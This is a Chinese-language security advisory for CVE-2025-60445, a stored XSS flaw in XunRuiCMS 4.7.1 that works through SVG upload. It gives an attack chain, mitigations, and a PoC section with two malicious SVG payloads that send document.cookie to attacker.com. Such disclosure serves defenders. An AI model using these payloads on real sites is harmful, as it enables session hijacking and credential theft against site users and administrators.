IPBUF安全漏洞报告
English
CVE-2025-60445 CVSS 6.1 中危

CVE-2025-60445:XunRuiCMS 4.7.1 存储型XSS漏洞(SVG文件上传)

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-60445
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
XunRuiCMS(迅睿CMS)

相关标签

Stored XSSXunRuiCMSSVG文件上传跨站脚本攻击CWE-79文件上传漏洞PHPCMS中危漏洞

漏洞概述

CVE-2025-60445 是 XunRuiCMS(迅睿CMS)4.7.1 版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于系统在处理用户上传文件时,对 SVG 格式文件的验证不足,未能有效过滤 SVG 文件中嵌入的恶意 JavaScript 代码。攻击者可以通过上传精心构造的恶意 SVG 文件,将 JavaScript 代码持久化存储在服务器端。当其他用户或管理员访问包含该恶意 SVG 文件的页面时,浏览器将解析并执行其中嵌入的恶意脚本,从而导致用户会话劫持、敏感信息窃取、钓鱼攻击或其他恶意行为。该漏洞的 CVSS 3.1 评分为 6.1,属于中危级别。攻击者无需认证即可实施攻击,但需要用户交互(如查看上传的文件)才能触发恶意代码执行。漏洞影响数据的机密性和完整性,可能导致用户凭证泄露、会话令牌被盗取等安全风险。该漏洞由安全研究人员在 2025 年 10 月披露,参考链接中包含了详细的技术分析报告。

技术细节

XunRuiCMS 4.7.1 版本的文件上传组件(dayrui/Fcms/Library/Upload.php)在处理用户上传的文件时,未对 SVG 文件进行充分的安全验证和过滤。SVG(Scalable Vector Graphics)是一种基于 XML 的矢量图形格式,其本身支持嵌入 JavaScript 脚本和事件处理器(如 onload、onclick 等),这使得 SVG 文件可以携带可执行代码。

漏洞的根本原因是 Upload.php 组件在文件上传流程中,仅检查了文件扩展名或 MIME 类型,而未对 SVG 文件内容进行严格的清洗或禁用。攻击者可以创建一个包含恶意 JavaScript 代码的 SVG 文件,例如在 <script> 标签中嵌入代码或使用 SVG 事件处理器(如 <svg onload='alert(document.cookie)'>)。上传成功后,该 SVG 文件被存储在服务器上。当受害者通过浏览器访问该 SVG 文件的 URL 时,浏览器以 image/svg+xml 类型渲染该文件,恶意 JavaScript 代码将在受害者的浏览器上下文中执行。由于这是存储型 XSS,恶意代码会持续存在,每次有用户访问该文件都会触发。

利用方式:
1. 攻击者创建一个包含恶意 JavaScript 的 SVG 文件。
2. 通过系统的文件上传功能上传该 SVG 文件。
3. 获取上传后的文件访问 URL。
4. 诱导受害者(如管理员或其他用户)访问该 URL。
5. 恶意脚本在受害者浏览器中执行,可窃取 Cookie、会话令牌,或执行其他恶意操作。

攻击链分析

STEP 1
步骤1:制作恶意SVG文件
攻击者创建一个包含恶意JavaScript代码的SVG文件,可以通过<svg onload='...'>事件处理器或内嵌<script>标签实现。
STEP 2
步骤2:上传恶意文件
攻击者通过XunRuiCMS的文件上传功能(Upload.php组件)上传恶意SVG文件,由于系统未对SVG内容进行充分验证,文件成功上传并存储在服务器上。
STEP 3
步骤3:获取文件URL
上传成功后,攻击者获取恶意SVG文件的访问URL,该URL可供后续诱导受害者访问。
STEP 4
步骤4:诱导受害者访问
攻击者通过钓鱼邮件、社交工程或其他方式诱导受害者(通常是管理员或其他用户)点击或访问该恶意SVG文件的URL。
STEP 5
步骤5:恶意代码执行
受害者的浏览器以image/svg+xml类型渲染SVG文件,触发其中嵌入的恶意JavaScript代码执行,可窃取Cookie、会话令牌或执行其他恶意操作。
STEP 6
步骤6:数据窃取与权限提升
窃取的会话信息可用于冒充受害者身份访问系统,进一步执行未授权操作,如管理员权限提升、数据篡改等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-60445 PoC: Malicious SVG file for Stored XSS in XunRuiCMS 4.7.1 --> <!-- Save the following content as evil.svg and upload via the vulnerable Upload.php component --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" onload="alert('XSS-PoC-CVE-2025-60445');document.location='https://attacker.com/steal?cookie='+document.cookie"> <rect x="0" y="0" width="100" height="100" fill="red"/> <text x="10" y="50" font-size="14" fill="white">Pwned</text> </svg> <!-- Alternative payload using <script> tag --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> // Steal cookies and redirect var img = new Image(); img.src = "https://attacker.com/steal?cookie=" + document.cookie; </script> <circle cx="50" cy="50" r="40" fill="blue"/> </svg>

影响范围

XunRuiCMS 4.7.1

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)在 Web 服务器层面配置规则,拒绝提供用户上传目录下的 .svg 文件,或强制将其 Content-Type 修改为 text/plain;2)在 Web 应用防火墙(WAF)中添加规则,拦截包含 <script> 标签或常见事件处理器(如 onload、onerror、onclick)的 SVG 文件上传;3)部署 Content Security Policy(CSP)头,限制内联脚本的执行;4)对已上传的 SVG 文件进行批量扫描和清理,移除可疑文件;5)加强用户安全意识培训,避免点击来源不明的文件链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表